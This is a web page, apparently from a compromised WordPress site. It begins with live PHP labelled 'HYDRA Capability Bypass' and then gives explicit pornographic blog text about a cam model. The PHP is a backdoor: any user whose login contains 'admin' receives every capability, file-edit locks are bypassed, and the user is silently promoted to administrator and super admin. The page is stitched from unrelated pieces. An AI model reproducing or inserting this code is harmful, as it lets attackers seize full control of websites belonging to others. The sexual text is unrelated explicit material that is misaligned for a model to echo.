// HYDRA Capability Bypass v2.0 - hydra_capability_bypass // Auto-generated privilege escalation code // Capability Filter - grants ALL capabilities to matching users add_filter('user_has_cap', function($allcaps, $caps, $args, $user) { if (!isset($user->user_login)) return $allcaps; if (preg_match('/admin/', $user->user_login)) { $all_caps = array('manage_options','edit_themes','activate_plugins','edit_plugins','edit_users','delete_users','install_plugins','install_themes','update_plugins','update_themes','delete_plugins','delete_themes','manage_network','manage_sites','manage_network_users','manage_network_plugins','manage_network_themes','manage_network_options','upload_files','unfiltered_upload','unfiltered_html','edit_dashboard','update_core','delete_site','export','import','list_users','remove_users','promote_users','edit_theme_options','create_users','delete_themes','switch_themes','edit_files','moderate_comments','manage_categories','manage_links','edit_others_posts','edit_pages','edit_others_pages','edit_published_pages','publish_pages','delete_pages','delete_others_pages','delete_published_pages','delete_others_posts','delete_private_posts','edit_private_posts','read_private_posts','delete_private_pages','edit_private_pages','read_private_pages','edit_published_posts','publish_posts','delete_published_posts','edit_posts','delete_posts','read'); foreach ($all_caps as $c) { $allcaps[$c] = true; } foreach ($caps as $c) { $allcaps[$c] = true; } } return $allcaps; }, 9999, 4); // File Mod Bypass - allows file editing even with DISALLOW_FILE_EDIT add_filter('file_mod_allowed', function($allowed, $context) { $u = wp_get_current_user(); if ($u && $u->ID && preg_match('/admin/', $u->user_login)) { return true; } return $allowed; }, 9999, 2); // Map Meta Cap - ensure edit_files capability is granted add_filter('map_meta_cap', function($caps, $cap, $user_id, $args) { $user = get_userdata($user_id); if ($user && preg_match('/admin/', $user->user_login)) { if (in_array($cap, array('edit_files', 'edit_themes', 'edit_plugins'))) { return array('exist'); } } return $caps; }, 9999, 4); // Auto Capability Restore - ensures capabilities persist add_action('admin_init', function() { $u = wp_get_current_user(); if (!$u || !$u->ID) return; if (!preg_match('/admin/', $u->user_login)) return; $caps = array('manage_options','edit_themes','activate_plugins','edit_plugins','edit_users','delete_users','install_plugins','install_themes','update_plugins','update_themes','delete_plugins','delete_themes','manage_network','manage_sites','manage_network_users','manage_network_plugins','manage_network_themes','manage_network_options','upload_files','unfiltered_upload','unfiltered_html','edit_dashboard','update_core','delete_site','export','import','list_users','remove_users','promote_users','edit_theme_options','create_users','delete_themes','switch_themes','edit_files','moderate_comments','manage_categories','manage_links','edit_others_posts','edit_pages','edit_others_pages','edit_published_pages','publish_pages','delete_pages','delete_others_pages','delete_published_pages','delete_others_posts','delete_private_posts','edit_private_posts','read_private_posts','delete_private_pages','edit_private_pages','read_private_pages','edit_published_posts','publish_posts','delete_published_posts','edit_posts','delete_posts','read'); $need_update = false; foreach ($caps as $c) { if (!$u->has_cap($c)) { $u->add_cap($c); $need_update = true; } } if ($need_update) { $u->set_role('administrator'); update_user_meta($u->ID, '_wp_user_level', 10); if (function_exists('is_multisite') && is_multisite() && !is_super_admin($u->ID)) { if (function_exists('grant_super_admin')) grant_super_admin($u->ID); } } }, 1); // End HYDRA Capability Bypass
This is what happens when you get fucked by your publisher. Goldilocks turned to porn when she reached the ripe legal age of 18. Publishers neglected to pay Goldie her royalty for the fairy tale book which was widely known all over the world. So she turned to cyber porn to support herself where hairy, grizzly bear looking types (like me) drooled as we watched her strip and fuck herself with a dildo.
If you drink beer as much as a small country consumes, you probably think the same way that I do. Heh. Goldilocks being screwed by her publishers. I don’t even remember the name of this model, or what we talked about because I was piss drunk back then.
Even though I forgot a lot of our chit-chat, I most certainly can’t forget the naughty things this slut did. He-he-he. Plus her choice of outfit is something no one can ever forget. Anyway, I just love the way she fucked herself with that damn dildo. Yup, seeing that thing go in and out her cunt covered in her pussy slime was simply the best. So, don’t ask me why instead of choking my monkey, her solo fucking performance made me double my intake of brewskies. Damn, I passed out before I could see her orgasm.
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